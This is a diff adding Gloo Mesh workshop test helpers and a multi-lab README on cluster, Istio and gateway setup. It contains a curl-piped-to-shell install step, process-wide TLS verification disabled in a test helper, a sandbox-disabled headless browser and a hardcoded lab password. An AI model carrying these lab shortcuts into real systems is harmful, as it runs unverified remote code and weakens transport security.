JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/platform/2-4/airgap/default/tests/chai-http.js b/gloo-mesh/platform/2-4/airgap/default/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/tests/keycloak-token.js b/gloo-mesh/platform/2-4/airgap/default/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/platform/2-4/airgap/default/tests/keycloak.js b/gloo-mesh/platform/2-4/airgap/default/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/platform/2-4/airgap/default/tests/utils.js b/gloo-mesh/platform/2-4/airgap/default/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/README.md b/gloo-mesh/platform/2-4/default/README.md new file mode 100644 index 0000000000..2c7c852f79 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/README.md @@ -0,0 +1,4958 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Platform (2.4.7)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy KinD clusters](#lab-1---deploy-kind-clusters-) +* [Lab 2 - Deploy and register Gloo Mesh](#lab-2---deploy-and-register-gloo-mesh-) +* [Lab 3 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-3---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 4 - Deploy the Bookinfo demo app](#lab-4---deploy-the-bookinfo-demo-app-) +* [Lab 5 - Deploy the httpbin demo app](#lab-5---deploy-the-httpbin-demo-app-) +* [Lab 6 - Deploy Gloo Mesh Addons](#lab-6---deploy-gloo-mesh-addons-) +* [Lab 7 - Create the gateways workspace](#lab-7---create-the-gateways-workspace-) +* [Lab 8 - Create the bookinfo workspace](#lab-8---create-the-bookinfo-workspace-) +* [Lab 9 - Expose the productpage through a gateway](#lab-9---expose-the-productpage-through-a-gateway-) +* [Lab 10 - Create the httpbin workspace](#lab-10---create-the-httpbin-workspace-) +* [Lab 11 - Expose an external service](#lab-11---expose-an-external-service-) +* [Lab 12 - Deploy Keycloak](#lab-12---deploy-keycloak-) +* [Lab 13 - Securing the access with OAuth](#lab-13---securing-the-access-with-oauth-) +* [Lab 14 - Use the transformation filter to manipulate headers](#lab-14---use-the-transformation-filter-to-manipulate-headers-) +* [Lab 15 - Use the DLP policy to mask sensitive data](#lab-15---use-the-dlp-policy-to-mask-sensitive-data-) +* [Lab 16 - Apply rate limiting to the Gateway](#lab-16---apply-rate-limiting-to-the-gateway-) +* [Lab 17 - Use the Web Application Firewall filter](#lab-17---use-the-web-application-firewall-filter-) +* [Lab 18 - Adding services to the mesh](#lab-18---adding-services-to-the-mesh-) +* [Lab 19 - Traffic policies](#lab-19---traffic-policies-) +* [Lab 20 - Create the Root Trust Policy](#lab-20---create-the-root-trust-policy-) +* [Lab 21 - Leverage Virtual Destinations for east west communications](#lab-21---leverage-virtual-destinations-for-east-west-communications-) +* [Lab 22 - Zero trust](#lab-22---zero-trust-) +* [Lab 23 - Securing the egress traffic](#lab-23---securing-the-egress-traffic-) +* [Lab 24 - VM integration with Spire](#lab-24---vm-integration-with-spire-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy KinD clusters + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=mgmt +export CLUSTER1=cluster1 +export CLUSTER2=cluster2 +``` + +Run the following commands to deploy three Kubernetes clusters using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy-multi-with-calico.sh 1 mgmt +./scripts/deploy-multi-with-calico.sh 2 cluster1 us-west us-west-1 +./scripts/deploy-multi-with-calico.sh 3 cluster2 us-west us-west-2 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh mgmt +./scripts/check.sh cluster1 +./scripts/check.sh cluster2 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + +You can see that your currently connected to this cluster by executing the `kubectl config get-contexts` command: + +``` +CURRENT NAME CLUSTER AUTHINFO NAMESPACE + cluster1 kind-cluster1 cluster1 +* cluster2 kind-cluster2 cluster2 + mgmt kind-mgmt kind-mgmt +``` + +Run the following command to make `mgmt` the current cluster. + +```bash +kubectl config use-context ${MGMT} +``` + + + + +## Lab 2 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.4.7 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 \ + -f -< + +Then, you need to set the environment variable to tell the Gloo Mesh agents how to communicate with the management plane: + + + +```bash +export ENDPOINT_GLOO_MESH=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-mgmt-server -o jsonpath='{.status.loadBalancer.ingress[0].*}'):9900 +export HOST_GLOO_MESH=$(echo ${ENDPOINT_GLOO_MESH%:*}) +export ENDPOINT_TELEMETRY_GATEWAY=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-telemetry-gateway -o jsonpath='{.status.loadBalancer.ingress[0].*}'):4317 +export ENDPOINT_GLOO_MESH_UI=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-ui -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8090 +``` + +Check that the variables have correct values: +``` +echo $HOST_GLOO_MESH +echo $ENDPOINT_GLOO_MESH +``` + + +Finally, you need to register the cluster(s). + +Here is how you register the first one: + +```bash +kubectl apply --context ${MGMT} -f - < ca.crt +kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER1} --from-file ca.crt=ca.crt +rm ca.crt + +kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token +kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER1} --from-file token=token +rm token + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 \ + -f -< ca.crt +kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER2} --from-file ca.crt=ca.crt +rm ca.crt + +kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token +kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER2} --from-file token=token +rm token + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER2} \ + --version 2.4.7 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER2} \ + --version 2.4.7 \ + -f -< ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); +describe("Cluster registration", () => { + it("cluster1 is registered", () => { + podName = helpers.getOutputForCommand({ command: "kubectl -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}' --context " + process.env.MGMT }).replaceAll("'", ""); + command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.MGMT + " -n gloo-mesh debug -q -i " + podName + " --image=curlimages/curl -- curl -s http://localhost:9091/metrics" }).replaceAll("'", ""); + expect(command).to.contain("cluster1"); + }); + it("cluster2 is registered", () => { + podName = helpers.getOutputForCommand({ command: "kubectl -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}' --context " + process.env.MGMT }).replaceAll("'", ""); + command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.MGMT + " -n gloo-mesh debug -q -i " + podName + " --image=curlimages/curl -- curl -s http://localhost:9091/metrics" }).replaceAll("'", ""); + expect(command).to.contain("cluster2"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-and-register-gloo-mesh/tests/cluster-registration.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 3 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +export HOST_GW_CLUSTER2="$(kubectl --context ${CLUSTER2} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + + +## Lab 4 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + +Now, run the following commands to deploy the bookinfo application on `cluster2`: + +```bash +kubectl --context ${CLUSTER2} create ns bookinfo-frontends +kubectl --context ${CLUSTER2} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER2} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions +kubectl --context ${CLUSTER2} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + -f data/steps/deploy-bookinfo/reviews-v3.yaml +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER2} +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER2} +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v3 CLUSTER_NAME=${CLUSTER2} + +``` + + + +Confirm that `v1`, `v2` and `v3` of the `reviews` service are now running in the second cluster: + +```bash +kubectl --context ${CLUSTER2} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER2} -n bookinfo-backends get pods +``` + +As you can see, we deployed all three versions of the `reviews` microservice on this cluster. + + + + + +## Lab 5 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 6 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER2} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER2} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); +describe("Gloo Platform add-ons cluster2 deployment", () => { + let cluster = process.env.CLUSTER2 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 7 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt + +kubectl --context ${CLUSTER2} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 10 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/jEqDoITpRss "Video Link") + +In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh. + +Let's create an `ExternalService` corresponding to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the external service", () => { + it('Checking text \'X-Amzn-Trace-Id\' in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-external.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's update the `RouteTable` to direct 50% of the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +If you refresh your browser, you should see that you get a response either from the local service or from the external service. + +When the response comes from the external service (httpbin.org), there's a `X-Amzn-Trace-Id` header. + +And when the response comes from the local service, there's a `X-B3-Parentspanid` header. + +Finally, you can update the `RouteTable` to direct all the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh your browser, you should see that you get responses only from the local service. + +This diagram shows the flow of the requests : + +![Gloo Mesh Gateway EXternal Service](images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg) + +Let's delete the `ExternalService` we've created: + +```bash +kubectl --context ${CLUSTER1} -n httpbin delete externalservices.networking.gloo.solo.io httpbin +``` + + + +## Lab 12 - Deploy Keycloak + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with 